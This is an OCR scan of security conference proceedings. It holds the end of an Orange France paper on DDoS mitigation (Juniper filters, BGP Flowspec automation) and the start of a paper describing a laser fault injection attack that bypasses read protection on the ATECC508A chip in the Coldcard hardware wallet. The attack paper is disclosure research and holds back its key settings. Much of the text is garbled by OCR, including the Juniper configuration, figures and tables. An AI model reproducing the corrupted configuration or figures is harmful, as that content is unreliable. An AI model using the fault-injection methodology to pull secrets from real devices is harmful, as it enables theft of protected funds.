
— Un suivi du trafic nominal, des attaques et atténuations résultantes
est effectué via un canal de Telemetry gRPC.

Un exemple de configuration d’un routeur Juniper pour l'atténuation

des attaques NTP par amplification est fourni ci-apres :

term NTP {
from {
protocol udp;
source -port ntp;

}

then {
policer DOS-NTP;
count DOS-NTP;
accept;

}
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[...]
policer DOS-NTP {
shared-bandwidth-policer;
if-exceeding {
bandwidth-1limit 1im;
burst-size-1limit 625000;

Listing 1. Filtre appliqué sur les routeurs

Echanges entre les opérateurs et avec les autorités francaises
Durant cette période 2011-2015, plusieurs initiatives nationales ont vu le
jour afin de partager les expériences respectives. La partie immergée de
Iiceberg a été la publication du guide Comprendre et anticiper les attaques
DDoS [5] par PANSSI avec la participation de plusieurs opérateurs dont
Orange. Il est aussi possible de citer un effort particulier des opérateurs
pour réduire la participation de nos clients aux attaques de dénis de service
par amplification et par réflexion :

— Les opérateurs ont corrigés ou échangés des box qui comportaient
des bug (ex : service DNS récursif ouvert sur Uinterface WAN)
utilisés par les personnes malveillantes pour lancer des attaques
par amplification et par réflexion.

— Certains clients, notamment professionnels (ex : chaines de maga-
sin), ont choisi d’installer leur propre modem /routeur alternatifs
mais ils I'ont mal configurés, laissant ouvert de nombreux ports
ensuite utilisés par des personnes malveillantes pour lancer des
attaques par amplification et par réflexion. Les cellules Abuse ont
du intervenir, suite a des plaintes de tiers, pour inviter ces clients
a mieux configurer leur modem //routeur.

Au niveau européen, 'ETNO (European Telecommunications Network
Operators) a permis de partager 1’évolution des menaces, les incidents et
les bonnes pratiques. Au niveau international, les échanges avec les four-
nisseurs ont permis de faire évoluer les équipements réseaux (par exemple
a travers l'identification de bugs dans I'implémentation de BGPFlowspec),
les outils de détection et les outils dédiés au filtrage de trafic.

Les offres dédiées aux clients entreprises ont vu le jour pendant cette
période. Il s’agit ici d’informer le client des attaques qu’il subit et, en
fonction du choix du client, de lui proposer des contre-mesures adaptées.



D. Roy, P. Nourry 39

3.4 Phase 4 : combinaison (2015 a aujourd’hui)

Détection d’attaques plus complexes Depuis 2015, les outils d’ana-
lyse détectent de plus en plus de dynamicité dans les signatures des
attaques DDOS. La combinaison d’une attaque par amplification clas-
sique avec une attaque utilisant des ports dits dynamiques (autres que
des services connus) est devenue une chose trés courante sur les réseaux
opérateurs. Les cibles visées étant encore, la plupart du temps, des desti-
nations uniques. Ces attaques dynamiques ne peuvent pas étre atténuées
(rate-limit) ou supprimées (Blackhole) avec de simples filtres statiques.

Contre-mesures développées par Orange Orange France s’est ap-
puyé sur deux mécanismes pour contrecarrer ces types d’attaques :

— Une détection des attaques avec une solution sur étagere.

— Des contre-mesures dynamiques s’appuyant sur un développement
maison et le protocole BGP Flowspec.

En effet, aujourd’hui Orange utilise une solution sur étagere (Nets-
cout/Arbor Peakflow SP) pour collecter les données de trafic échan-
tillonnées (par le protocole Netflow /IPFIX) notamment en périphérie
de ’AS3215. Ces données de trafic servent tout particulierement & détecter
des anomalies de trafic (comme les attaques DDOS). Cette solution fournit
alors, lorsque cela est possible, une signature réseau du type d’attaque :
(protocole utilisé UDP/TCP/RAW IP — Adresses IP source/destination
en jeu — Ports source/destination en jeu etc...). Cette solution procede
de fagon progressive lors de la détection de la signature d’une attaque :

— Phase 1 : L’heuristique sur la premiére minute consiste a détecter/-
pondérer les attaques par le débit afin de détecter rapidement les
attaques les plus importantes en débit. Une alerte se déclenche sur
détection d’un volume de trafic atypique vers une destination. A
cet instant la solution fournit une signature macroscopique, a savoir
uniquement les informations de types IP (adresses IP impliquées
et protocole utilisé).

— Phase 2 : Entre 1 et 2 min apres le début de la détection, la solution
continue son apprentissage sur l'observation suspecte et fournit une
version plus détaillée de 'attaque notamment avec les informations
des couches TCP/UDP.

— Phase 3 : au-dela de 2 min, la solution effectue une mise a jour
périodique de la signature de l'attaque jusqu’a ce que celle-ci
s’arréte.

Ces différentes phases de détections sont disponibles au travers de

notifications / APIL. C’est sur cette base qu’Orange France a développé
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sa solution de contre-mesure des attaques dites dynamiques. La solution
a été développée en Python. Elle porte le nom de code BAAM pour «
Backbone Automatic Attack Mitigation ». Elle s’interface d’une part avec
la solution sur étagere et d’autre part avec des Route Reflector Juniper
dédiés au protocole BGP FlowSpec (FS).

Le protocole BGP Flowspec décrit, entre autres, par la RFC 5575 [27]
permet de distribuer via BGP une signature réseau (adresse IP, protocole,
ports etc...) et une action associée : discard, rate-limit, remarquage
QoS, redirection. .. BGP Flowspec peut étre assimilé a une solution de
distribution d’ACL/de filtre via le protocole BGP. Les Route Reflector
FlowSpec de I’AS3215 possedent notamment une session iBGP FS avec
tous les ASBR de I’AS3215.

(
— / Peering

_:(or‘tert Pr-::‘-aiders'; L — "’" 1 ] o Internet
&

Fig. 7. Diffusion des regles de filtrage via BGP Flowspec aux ASBR

La solution propriétaire d’Orange est notifiée des attaques (lors de
la Phase 1) par la solution sur étagere au travers d’un trap SNMP. Sur
détection d’une attaque, ’outil propriétaire va venir poser une Route
FlowSpec statique via le protocole Netconf sur les Route Reflector du RBCI.
La route FlowSpec possede alors une signature macroscopique avec une
action « discard » (Blackhole) basée en général sur 'adresse IP destination
attaquée. Cette route FlowSpec statique est alors reflétée/distribuée, par
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les Route Reflector, a I’ensemble des ASBR du réseau via BGP. En paralléle
I’outil commence a interroger de facon périodique 'outil de détection en
REST API pour obtenir plus de détail sur la signature. Des que la signature
détaillée est disponible, I’outil met & jour en temps réel via Netconf la
définition de la route FlowSpec statique qui est a nouveau distribuée par
BGP. Ceci permet d’étre beaucoup plus sélectif sur le trafic a supprimer :
seuls les ports participant a I’attaque visant la destination sont supprimés.
Tant que 'outil n’est pas notifié par les sondes de détection que I'attaque
est terminée, I'outil continue de surveiller I’évolution de la signature de
I’attaque et met & jour, si nécessaire, celle-ci sur les Route Reflector.

N.B. : L’outil intégre aussi des conditions spécifiques, liées a la politique
de sécurité interne a Orange, qui peuvent influer sur la pose ou non des
routes FlowSpec statiques.

-*—
E‘-————Met" ow 1PF x——b—ggg

Orange ASBR

l Fast Attack Detection SNMP Trap T

Conditonng Orange Bleckhole Destination [ Prowmoole

iBGF FlowSpec .4 ‘
‘ Signature Misz 3Jour 277
REST APY
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ECN

Blackhole Destination / ‘

Signature Mise a lour 777
REST AP

Fig. 8. Cinématique BGP Flowspec

Effet Gilets Jaunes Apres avoir atteint un pic en 2015-2016, I'intensité
des attaques a eu tendance a diminuer en 2017 et 2018. Le mouvement
de contestation des Gilets Jaunes a manifestement trouvé un écho sur
Internet pendant quelques mois.
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Débit attaques | 1T | 2T | 3T | 4T | 1T | 2T | 3T | 4T | 1T | 2T | 3T | 4T
En Gb/s 2015|2015|2015|2015|2018|2018|2018|2018|2019|2019|2019|2019
Entre 2 et 4 |1702|2486|2668|4252|1169(1089|1089|2873|3990|2491 2645|1875
Entre 4 et 8 |1111]1558|1768|2873(1283| 917 | 731 |2896|2590(1560(1662(1112
Entre 8 et 16 | 585 | 404 | 725 |1143| 298 | 653 | 295 [1356{1400{1131{1011|1070
Entre 16 et 32 | 77 | 46 | 179 | 128 | 29 | 259 | 103 | 293 | 467 | 523 | 271 | 527
Entre 32 et 64 | 10 61 | 22|10 | 17 | 6 | 24 | 39 | 148 | 97 | 75
Entre 64 et 128 | 5 3 0 0 0 2 4 2 5 |10 ] 1
Entre 128 et 256| 0 0 0 0 0 0 0 1 0 2

OO >

Tableau 3. Nombre d’attaques DoS identifiées sur le RBCI par trimestre en 2015,
2018 et 2019 (aucune attaque au-deld de 256 Gb/s)

3.5 Cas particulier des offres Wholesale : traitement des
attaques DDoS affectant les L2ZVPN du réseau fixe

Le réseau d’Orange France AS3215 supporte de nombreuses « offres
de gros », notamment des offres dites de niveau 2 (ou L2) qui consistent a
collecter et livrer des trames Ethernet (Vlan ou non inclus) d’opérateurs
ou clients tiers. Ces offres sont vendues par Orange Wholesale. Ces offres
s’appuient sur le réseau de collecte et le coeur de réseau d’Orange France.
Les ressources réseaux d’Orange sont donc mutualisées entre le trafic des
clients d’Orange et ces offres de collecte L2. Orange n’a ainsi pas besoin
d’interpréter la couche IP du trafic véhiculé sur ces offres de gros. Orange
utilise la technologie MPLS pour faire transiter ce trafic entre des points
de collecte et des points de livraison. On parle ici de technologie L2VPN
et de tunnels L2VPN. Ces offres de gros permettent d’étendre le réseau de
certains opérateurs / clients tiers au travers du réseau d’Orange afin que
ces derniers augmentent leur capillarité afin de joindre leurs clients finaux.

Orange a subi récemment et a plusieurs reprises des attaques DDOS
indirectes a I'intérieur de ces tunnels. Les attaques ne visaient pas directe-
ment des clients finaux Orange mais ceux des opérateurs / clients tiers
qui étaient joignables au travers du réseau d’Orange. Orange subit dans
ce cas de figure des dommages collatéraux. En effet, attaque DDOS véhi-
culée au travers du tunnel MPLS (L2VPN) peut congestionner certains
axes mutualisés au sein du réseau d’Orange, généralement au niveau du
réseau d’acces (de collecte) et par conséquent impacter les propres clients
d’Orange mais aussi ceux d’autres opérateurs / clients tiers présents dans
la zone touchée par I'attaque DDOS. La figure 9 illustre le principe.

Pour pallier ce type d’attaques, Orange s’est inspiré de la solution
mise en place pour contrecarrer les attaques dynamiques. Il fallut dans un
premier temps mettre en place de I’échantillonnage réseaux au niveau des



D. Roy, P. Nourry

43

RBCI

_~BsLAM fOLT/ Exs
Orahge

Accas Client 1

AS 3215

-

Ethernet (VLAN)

Echantillonnage
e

Client

.-‘."Ré au Operateur;/' )
Client 1 3
AS 300 g

s/ Réseau Operateur/ )

e client 2

AS yyyy
Client 2

Fig. 9. Attaque DDoS sur une offre de collecte Orange Wholesale

PE Orange de collecte et de livraison. Cet échantillonnage est particulier
car il s’agit de trafic LZVPN (Template IPFIX L2-IP sur routeurs Nokia).
Cet échantillonnage permet d’avoir des statistiques sur les profils de
trafic niveau 2 en entrée / sortie du réseau d’Orange. Qui plus est, les
données échantillonnées fournissent des informations comme : les ports
d’entrée/sortie des trafics, les VLANS, les adresses MACs etc. .. Le tableau
ci-dessous liste ’ensemble des informations fournies par le template IPFIX

L2-IP.

MAC Src Addr

IPv4 Src Addr

TCP control Bits (Flags)

MAC Dest Addr

IPv4 Dest Addr

Protocol

Ingress Physical Interface

IPv6 Src Addr

IPv6 Option Header

Egress Physical Interface IPv6 Dest Addr IPv6 Next Header
Dotlq VLAN ID Packet Count IPv6 Flow Label
Dotlq Customer VLAN ID Byte Count TOS
Post Dotlq VLAN ID Flow Start Milliseconds IP Version

Post Dotlq Customer VLAN ID

Flow End Milliseconds

Dest Port

Src Port

Tableau 4. Template IPFIX L2-IP sur routeurs Nokia
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Ce template, bien que supporté par les constructeurs de routeurs,
n’était pas décodé par les principales solutions de collecteur IPFIX dispo-
nibles sur le marché et notamment la solution PeakFlow d’Arbor. Orange
a donc travaillé avec Arbor afin que leurs sondes supportent ce nouveau
template. Suite & cette implémentation, la solution PeakFlow a donc été
en mesure de fournir des signatures sur le profil des attaques, il restait a
mettre en place les contre-mesures d’atténuation. Malheureusement, les
spécifications BGP Flowspec pour le trafic L2ZVPN sont encore a ’état de
Draft [22] & 'IETF et non implémentées par les constructeurs de routeurs.
Orange a donc développé une contre-mesure « maison » pour limiter les
attaques DDOS au sein des tunnels L2VPN.

Construite sur le méme principe que 'atténuation des attaques dy-
namiques, la solution de détection sur étagere fournit la signature des
attaques DDOS L2VPN. Une solution logicielle développée par Orange, sur
la base de la signature Arbor, permet ensuite d’identifier le service L2VPN,
Popérateur/client tiers, les points de collecte et livraison impliqués dans
cette attaque et d’aller configurer automatiquement en CLI ou NETCONF
les contre-mesures suivantes (dépendant du type d’offre/client/attaque) :

— Shutdown du port de livraison ou shutdown du port de collecte

— Shutdown du VLAN de livraison ou shutdown du VLAN de collecte

— Application d’un filtre de suppression de trafic Ethernet basé sur
les adresses MAC src/dst sur le port de collecte ou de livraison.

La figure 10 résume la solution implémentée.
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| “ | Signature sttaque LZVFN SNMF Trap |

@ Contre-mesure CLI Netconf—p ‘

1| urangs Contre-mesure CL/Netconf > |

SignatureMise aJour ?7?

REST AP |
v ¥ ¥ l

Fig. 10. Cinématique de détection et de mise en ceuvre des contre-mesures dans
le cas des attaques DDoS L2VPN
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4 Conclusion

Depuis maintenant plus de 15 ans, Orange France a une attention
particuliere concernant la sécurité de son réseau fixe, le RBCI. Dans le
contexte de la politique de sécurité de ce réseau, des outils de supervision
des attaques de dénis de service sont mis en ceuvre et régulierement ajustés
afin de tenir compte de I’évolution des attaques DoS. Il en va de méme
pour les contre-mesures mises en ceuvre par les exploitants qui disposent
aujourd’hui de contre-mesures automatisées que ce soit via BGP Flowspec
ou via Netconf.

Si apres un effet Gilets Jaunes marqué fin 2018-début 2019, la tendance
est a la décrue, plusieurs évolutions doivent attirer I’attention. D’un coté,
une montée notable en débit des acces clients, que ce soit coté fixe (passage
du xDSL au FTTH), c6té mobile (passage de la 4G a la 5G) ou chez
les hébergeurs, ouvre des perspectives de montée en débit également des
attaques de dénis de service, notamment en cas de botnet infectant les
équipements des clients. D’un autre c6té, le nombre d’objets connectés,
quelques fois tres mal sécurisés, a vocation & croitre significativement dans
les prochaines années, ouvrant la porte a des botnets de type MIRAI plus
puissants.

Plus que jamais, il convient d’étre vigilant, en amont, afin de détecter
au plus t0t les signaux faibles qui préfigurent des attaques a venir. Outre
une veille active, il est nécessaire de prendre régulierement du recul sur
les informations collectées au niveau des routeurs (IPFIX, SNMP ou
Télémétrie). Il convient ensuite de déployer deés que possible des contre-
mesures adaptées afin de réduire 'impact pour les clients. En se sens, le
développement d’outils automatisés, basés notamment sur BGP Flowspec,
Netconf ou des scripts Python, ouvre de perspectives pertinentes.
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Black-Box Laser Fault Injection on a Secure
Memory

Olivier Hériveaux
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Abstract. With the constant development of electronic devices, their
increasing complexity and need for security, cryptography in embed-
ded systems has become a strong requirement to protect data or secure
communications. Some devices run on basic microcontrollers, which are
vulnerable to low-budget physical attacks allowing the retrieval of se-
cret materials, as shown in previous publications. More sophisticated
devices use dedicated security circuits able to withstand higher levels of
physical attacks. This paper describes a hardware attack conducted on
the ATECC508A CryptoAuthentication secure memory, a circuit used
in many security applications and IoT devices for strong authentication.
In particular, it is used in the Coldcard Mk2 Bitcoin hardware wallet to
securely store the seed. We present an attack using Laser Fault Injection,
in a practical approach from an attacker perspective, where we retrieve
the content of secret data slots in the mentioned wallet specific config-
uration, allowing an attacker to steel the protected funds. Contrary to
security-certified chips, this circuit has a public datasheet. Nevertheless,
its implementation and its firmware are proprietary, allowing only a
black-box approach. Finally, we assess the difficulty of this attack in the
given real-case scenario and demonstrate it is a practical attack despite
the high setup cost.

1 Introduction

Most of modern systems rely on cryptography to secure communica-
tions, authenticate devices and users, or securely store information. Many
devices store critical information, such as cryptographic private keys, in
basic microcontrollers or memories. In a hardware context, where the
attacker has physical access to the device, implementing secure software
to protect sensitive data against logical attacks is necessary but not suffi-
cient. Powerful techniques have been developed to recover secrets using
non-invasive, semi-invasive or invasive attacks [13].

Side-channel analysis exploit physical leakages to recover keys during
the execution of a cryptographic algorithm. Operations leakage can be
observed in power measurement [5], electromagnetic radiation [10], com-
putation time [6], silicon photonic emission [11] or even acoustic noise
as shown in [3]. This field of expertise has grown in the past decades,
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and sophisticated software and hardware counter-measures have been
developed to prevent the exploitation of such leakages.

Invasive probing attacks can be conducted to spy circuit internal
signals, which may convey secrets. Focused Ion Beam stations can also
be used to directly edit a circuit by cutting metal tracks and/or creating
new ones. Initially developed for failure analysis, such equipment can be
diverted to disable hardware security circuitry, or routing-out internal
signals for further probing or manipulation of sensitive data. This latest
technique is among the most expensive. Secure-elements usually implement
a top-metal shield to detect such attacks and thus make those much more
difficult. But, for oldest node technologies, this can still be bypassed with
a lot of time and effort, usually many months [16]. This class of attacks
requires very expensive equipment (up to millions USD), a high level of
expertise, and is very time consuming.

Other attacks are based on fault injection to produce exploitable
computation errors in circuits. This class of attacks is usually referred
as semi-invasive. Faults can be injected by different means. An attacker
controlling the clock can introduce glitches on the clock signal. This usually
inserts setup/hold violations at the gates level, and thus produces logical
errors. Another easy way to introduce faults consists in generating glitches
on the power supply. Finally, Electromagnetic Fault Injection and Laser
Fault Injection are often more efficient while they require a higher level
of expertise and more expensive equipments. These methods have higher
temporal and spatial resolutions, enabling local and precisely targeted
effects. For instance, Laser Fault Injection is very efficient to bypass security
features, as many previous work described [9,12,14,15,17]. Equipment
can be expensive for precise laser stations, but efficient low-cost setup can
also be designed. The research time and effort for semi-invasive attacks is
much smaller than invasive attacks. Some vulnerabilities can be identified
within a week. The exploitation time is often reduced: from one day using
Laser Fault Injection, down to a few minutes with Electromagnatic Fault
Injection or power glitching.

We chose to evaluate the resistance of the ATECC508A circuit against
high potential attackers, as defined by [4]. Firstly, we developed tools and
dedicated electronics to communicate with the target device and be able
to send commands, with proper instrumentation for power trace analysis,
circuit power management and precise triggering. We prepared samples
for backside illumination, eventually thinning down the silicon. We then
conducted a fault injection campaign using a focused laser beam.
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In this paper, we present a security evaluation of secret data storage
of the ATECC508A, in the particular configuration of the Coldcard Mk2
hardware wallet. In Section 2, we introduce the target of evaluation and
its security mechanisms. In Sections 3 and 4, preparation and setup are
described. Eventually, the testing campaign is explained in Section 6,
leveraging the information gathered from the power traces as described in
Section 5. Finally, Section 7 details the results of the testing campaign.

The critical exact setup parameters of the attack are not given: the
settings have been communicated to the manufacturer, and we estimate
it is not useful to disclose them in this paper. It limits on the field
exploitation, and gives sufficient time to the vendor to mitigate the issues
and warn its customers.

2 Target of Evaluation: ATECC508

The ATECC508A is a secure memory with NIST-P256 Elliptic Curve
cryptography for IoT authentication applications. It provides key gener-
ation, secure storage for keys or small data blobs, and supports crypto-
graphic algorithms such as ECDSA, ECDH, HMAC, etc. This circuit is
presented as a Secure Element by the Microchip (Atmel) manufacturer,
but from our knowledge has no public security certification regarding its
resistance against (physical) attacks.

Before the publication of this article, the complete datasheet of this
circuit was publicly available [8]. For this reason, manufacturers might
have chosen this circuit for its accessibility rather than contracting Non-
Disclosure-Agreements required for other products. This even allows build-
ing Open-Source hardware designs using the ATECC508A circuit to
protect sensitive data. Training samples can be freely acquired from many
component resellers.

2.1 Coldcard Hardware Wallet

The Coldcard hardware wallet, in its Mk2 version, uses this circuit as a
secure storage for sensitive secrets: pairing key between the secure memory
and the MCU, user PIN code and master seed. The master seed is a very
critical asset: it grants the ownership of corresponding cryptoassets and
allows signing transactions on the blockchain to transfer funds protected
by the device. In this application the stored data is not related to P256
curve in any way, and the ATECC5H08A circuit is only used as a secure

1. Mk3 version has upgraded to ATECCG608A
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storage with authenticated access through the knowledge of the PIN code
and pairing secret.

Fetching the secret seed from the secure memory is done by the
microcontroller in the following (simplified) steps:

1. The microcontroller proves knowledge of the pairing secret by
answering correctly to a challenge from the secure memory. Success
unlocks use of the PIN hash data slot, required to perform the next
two steps.

2. The PIN entered by the user is hashed together with the pairing
secret: if the PIN is correct, the result matches the content of the
PIN hash data slot:

SHA256 ( SHA256( pairing secret + 0h58184d33 + PIN ) )

3. The seed data slot is read and decrypted using the hash as key.

Knowledge of the pairing secret and PIN hash data slots is enough for
getting access to the hardware wallet seed. Optionally, the PIN code can
be recovered by brute-forcing the hash. Note that the pairing secret can
also be retrieved by attacking the STM32 microcontroller, which is known
to be vulnerable to low-cost glitch attacks [1,7].

2.2 Software security mechanisms

The ATECC508A circuit has an internal ROM memory for storing the
proprietary firmware (unknown to us), and EEPROM memory for storing
data. The EEPROM memory is used to store both configuration data
(CONFIG zone) and user secret data (DATA zone). Direct access to the
EEPROM memory is not possible, and the circuit firmware implements
commands to configure the access rules, put and retrieve data inside
defined memory slots.

The DATA zone of the EEPROM memory is split into 16 data slots.
Data slots have different fixed sizes. The smallest slots store 36 bytes each,
and the largest one stores 416 bytes.

FEach data slot has an access configuration which is defined in the
CONFIG EEPROM memory sector. A default factory configuration is
defined for a typical use case. It can be changed to modify the access
conditions of the data slots. Depending on the configuration, accessing to
a data slot may require being authenticated, and communication during
read or write commands can be encrypted. Once the configuration has
been set, it must be permanently locked by executing the Lock command.
When the configuration is locked, data slots must be provisioned and then
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locked permanently. The device is operational when the CONFIG and
DATA sectors are both locked.

The hardware wallet we studied stores the master seed in a 72 bytes
data slot. The ATECC508A device is not capable of running the crypto-
graphic algorithms necessary to sign transactions for the Bitcoin blockchain.
Therefore, this secret is fetched by the MCU which runs all the crypto-
graphic calculations. The ATECC508A will return the secret seed en-
crypted after verifying the user has knowledge of the hash of the PIN
code.

The hash of the PIN code is stored in another data slot of the secure
memory. This data slot can store up to 36 bytes, but only the first 32 bytes
are used by the wallet. The data slot configuration has the "is secret" bit
set, meaning the secure memory will return an error for any read memory
attempt on this data slot.

2.3 Hardware security counter-measures

As stated in the datasheet [8], the circuit has a top-metal mesh pre-
venting front-side probing attacks. Without such a mesh, an attacker
might be able to connect to circuit internal wires using very thin needles
and a probing station, and readout sensitive data during the execution of
the circuit (such as the data bus). We wanted to verify that this counter-
measure is present. We had little equipment for front-side preparation but
we managed to observe this shield anyway (Figure 1). For this, we milled
the package in front-side using a diamond milling tool. The main difficulty
is to stop the milling process at the right time before touching the silicon.
When the remaining plastic package was thin enough to see the circuit by
transparency, we stopped the milling process and finished gently with a
scalpel.

Figure 1 is a picture of the observed top-metal shield. We can see a
curious labyrinth-like pattern covering the surface of the chip, which is
probably made of one or multiple wires filling all the space to hide the
underneath logic. The chip has been damaged by the process and is not
functional anymore: scratches of the milling tool are visible on the top-left
corner of the picture, and the bonding-wires have been removed.

The circuit generates its own clock source internally to avoid basic
clock glitching attacks. The CPU core voltage is also regulated internally
to prevent voltage glitch attacks. We verified the effectiveness of this
counter-measure against direct voltage glitches applied to the external
pins, or using electromagnetic pulses with a short-distance antenna.
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Fig. 1. Active shield visible in front-side

There is no mention to resistance against laser fault injection (such as
light detectors for instance), which is why we decided to test the device
against this class of attacks.

The memory of the device is internally encrypted. This is a good
counter-measure against electrical memory probing attacks, however, as
we show in this paper, with the correct attack path we can rely on the
circuit to decrypt the content for us during an attack.

Measuring the power traces during our experiments revealed temporal
jitter during commands execution (i.e. noise on the execution time). Calling
a same command twice produces slightly different power traces. This can
be either natural CPU clock noise or a voluntary counter-measure. There
is no mention to this mechanism in the datasheet. Like shooting an arrow
on a randomly moving target, this counter-measure makes harder fault
injection and the reproducibility of attacks is therefore severely degraded,
especially without dedicated real-time synchronization equipment.

3 Sample preparation

To prepare the circuit for laser fault injection, the package must be
opened in backside. We used an ASAP1 machine (micro-milling tool
dedicated for chip decapping) (Figure 2) with a 1 mm diamond tool for
milling the package. Once the copper lead frame was visible, it has been
removed using a 1 mm metal milling tool. This step must be performed
with extra care as milling down too deep may scratch or destroy the
silicon under the lead frame. Once the lead frame has been removed, the
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conductive glue paste between the silicon and the lead frame is gently
removed with a scalpel and wood toothpick. The Figure 3 shows the
internals of a circuit package, and how we prepared the backside access.
Figure 4 shows a photo of a prepared sample.

Fig. 2. ASAP1 micro-milling machine for chip decapping

We estimated the die thickness to be around 250 ym. It has been
measured optically with our microscope by focusing firstly on the sur-
face of the silicon and secondly on the visible circuit gates. To obtain
the die thickness t, the displacement difference during focusing must be
multiplied by the refractive index of the silicon in infrared light, which is
approximately ng = 3.5.

Zsurface — Zgates

Nsi

t =

The measurement is not very accurate, therefore we rounded it to
the nearest known standard die thickness. Knowing the die thickness is
required when thinning down the silicon.

We also used the microscope stage and camera to measure the chip
dimensions.

During our experiments, we used a laser source for fault injection.
We found out the laser can be powerful enough to inject faults without
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thinning down the silicon, making sample preparation easier and with
very limited risk of destruction. We also performed some tests on thinned
samples, which allows an attacker using a cheaper laser source.

The chip is rotated inside its package (Figure 4), which is a bit unusual
and requires particular caution for silicon substrate thinning and daughter
board wiring.

Chip width 1585 pum
Chip height 1410 pm
Chip surface 2.235 mm?
Substrate thickness 250 pm

Table 1. Physical measurements of the chip

Silicon front-side, with top-metal shield
Plastic package J Bonding wires

Package pins . w= _ Lead frame

Silicon backside

Fig. 3. SOIC package milling for backside access

Using the infrared camera mounted on the XYZ stage of our laser
test-bench, we took several pictures of the silicon from backside. The
images have then been stitched to produce a complete picture of the
circuit, as shown in Figure 5.

The images stitching positions are the locations returned by the XYZ
stage, which is accurate enough to avoid using any advanced stitching
algorithm. The camera images are averaged to reduce noise and get better
contrast, and a post-processing filter is applied to remove dust particles on
the lens and reduce thumbnail /shadowing effect due to non-homogeneous
lighting of the sample through the microscope.

In a black-box approach, we need to identify the different parts of the
circuit before trying to inject faults. When available, open documentation
from the manufacturer can help matching circuit blocks such as memories
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Fig. 4. ATECC508A chip in SOIC-8 package, backside

or peripherals to indicated specifications. Comparison to other circuits
from the same manufacturer can also help identification.

According to the datasheet [8], the EEPROM memory stores 11200
bits. This could be verified on the EEPROM layout using our microscope
camera, as shown in Figure 6. 16 banks of 700 bits are visible. Each bank
is probably mapped to a word bit (horizontal bit lines). 50 columns are
visible (vertical word lines), and we supposed that each column stores 14
bits.

The ROM memory of the chip has a much smaller cell size than the
EEPROM memory. We were not able to count the memory cells due
to our microscope limitations. Furthermore, we don’t know what ROM
technology is implemented, but an attacker with more equipment may try
to find out if this is a contact ROM which could be extracted and reversed,
provided the ROM addresses and bits are not scrambled. Knowledge of
the firmware binary of this circuit would be a significant advantage in
setting-up attacks and understanding the chip errors after fault injections.
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L

EEPROM

Fig. 5. Infrared backside image of the circuit and memory floorplan

4 Setup

4.1 I2C communication and triggering

The ATECC508A circuit exists in two interface versions: I?C or Single-
Wire. The communication interface mode is programmed in the internal
EEPROM memory during manufacturing and cannot be changed. We
used the I2C version for our setup. Only four pins have to be connected:
VCC, GND, SDA and SCL.

Communication with the device is performed using Ledger Donjon
Scaffold board and its Python API [2]. Commands are sent to the device
following the protocol defined in the datasheet [8]. An I?C write transaction
is performed to execute a command, and the response is fetched with an I2C
read transaction after command completion. Each response may include a
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Fig. 6. EEPROM memory cells. Captured with 50X magnification objective lens

vendor-specific error code, giving useful information for diagnostic after
fault injection.

The I2C peripheral of Scaffold was used to generate accurate trigger
during read and write transactions. We used this trigger source to start the
Scaffold’s configurable delay and pulse generator connected to the infrared
laser source. With this setup we are able to inject faults synchronized with
the I2C transactions, with very low jitter.

The 3.3 V power supply of the device under test is controlled by the
Scaffold board. It is switched OFF and ON before each new test to recover
from possible circuit crashes.

4.2 Power measurement

The device power consumption reflects its activity. Each instruction
executed by the CPU has a signature on the power trace. In a black-box
approach, it is quite hard to interpret a power trace. However, comparing
different power traces given different execution paths can provide an
attacker good hints on the best timing for fault injection. Also, patterns
and their repetitions can give interesting information.

In our setup, we measured the power consumption of the device under
test using a 20  shunt resistor (R1) connected between the circuit ground
pin and the board ground, as shown in Figure 8. We didn’t use any
decoupling capacitor to prevent low-pass filtering. The signal is amplified
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)

Fig. 7. Our Laser Fault Injection test bench

using an operational amplifier close to the resistor (gain G = 1+ % =11).
The output of the amplifier is then fed to an oscilloscope which records
the power traces.

4.3 Targeted asset and attack path

Prior to the fault injection campaign, we programmed the devices in
the same exact configuration as the Coldcard wallet. This configuration
is detailed in Table 2. We loaded the PIN hash data slot with easily
recognizable data: 0123456789abcdef... It is important to note that the
data slots cannot be written if the configuration is not locked, and the
circuit will then operate normally only when both configuration and data
zones are locked. There is no possibility to rollback to factory settings,
therefore any will to change the configuration or data for testing purpose
will require using another sample.

The "is secret" flag of the data slot is set: read is strictly prohibited.
This data slot can only be used to prove to the secure memory the
knowledge of the PIN code and unlock other data slots.

In black-box approach, it is hard to identify quickly possible attack
paths, as the implementation details and protections of the functionalities
are totally unknown. We had to make an attack path hypothesis and then
try out. Furthermore, it is highly recommended to choose a path where
only one fault is enough to bypass the security. Performing multi-fault
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Fig. 8. Setup schematics for power trace measurement

|Name [ Value [Comments

Raw 0x8£43 |Slot configuration value

Write config |encrypt|Writes are always encrypted

Write key 0x3 |Write encryption key index

Read key 0xf |Read encryption key index

Is secret True |This data slot can never be read

Encrypt read| False Read are forbldd§n by "is secret" flag, bus'allowm% plain
text can help us if we manage to bypass "is secret" flag.

No MAC False |MAC and HMAC commands with this data slot are allowed.

Table 2. Targeted data slot configuration details

attacks is extremely difficult: there is usually no way to know whenever a
first-fault was successful or not until you manage to pass both of them!
In this context, it’s necessary to perform temporal and spatial scanning,
injecting faults randomly and observing the different behaviors of the
circuit.

In our case, we chose to attack the Read Memory command of the
device. Our objective was to retrieve the first 32 bytes of the secret slot
storing the wallet PIN hash, with the configuration described previously.
We supposed the firmware would check for the "is secret” flag with a simple
conditional branch to determine whether or not the user has rights to
access this data slot. If this scenario is valid, only a single fault during
the branch instruction should be enough to bypass the security.

Although the "encrypt read" flag shall not be relevant (all reads are
forbidden!), it is a chance for us that it is set to False: if we manage to
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bypass the first security check ("is secret" flag), we want the data to be
output in plain and not encrypted with an unknown key.

Once the scenario is established, there are critical attack parameters
that need to be found to perform successful security bypass of the Read
Memory command: we need to know WHERE and WHEN to shoot with
our laser. The next sections will explain how we searched for those settings.

5 Learning from the power trace

As we mentioned, the power trace of a circuit can reveal a lot of useful
information. The Figure 9 shows a measured power trace of the circuit
during the execution of the Read Memory command on an authorized data
slot. The top blue waveform is the I?C SDA signal, which transports the
read command sent to the ATECC508A device. The bottom red waveform
is the power trace. As soon as all the bytes of the command are received
by the ATECC508A circuit, a rise in power consumption is visible: the
CPU of the circuit starts processing the input command and thus requires
more energy than when it was waiting. Once the command is processed,
the power consumption goes back to an idle level.

When doing the same experiment but trying to access a forbidden
data slot, the waveform in Figure 10 can be observed. We can see that
the processing of the command takes less time: this is to be expected as
the program returns an early error message when it checks for the access
rights.

The observations can be improved by averaging the power traces to
eliminate the noise from the clock jitter, and then superimposing both
waveforms. The Figure 11 shows this measurement. The red waveform
corresponds to the forbidden access, and the dark-gray waveform to the
granted access. The beginnings of the power traces perfectly match until
a precise time. This gives us a very precious information: it is the time
when the circuit takes a different decision from the given inputs, when
